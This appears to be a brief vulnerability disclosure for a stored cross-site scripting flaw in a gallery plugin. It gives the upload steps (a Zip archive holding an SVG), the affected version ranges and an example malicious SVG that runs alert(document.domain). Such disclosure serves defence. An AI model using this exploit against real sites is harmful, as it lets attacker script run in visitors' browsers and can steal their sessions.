When editing or creating a gallery, Click 'Add Images' then 'Upload Files' and upload a Zip archive containing an SVG file with JavaScript code, then access the uploaded image from the uploads folder directly, e.g<archive_name>/xss.svg

v < 1.5.75 - SVG at the root/anywhere in the archive
v < 1.5.79 - Put the SVG inside a folder

Example of malicious SVG:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "">
<svg version="1.1" baseProfile="full" xmlns="">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">alert(document.domain);</script>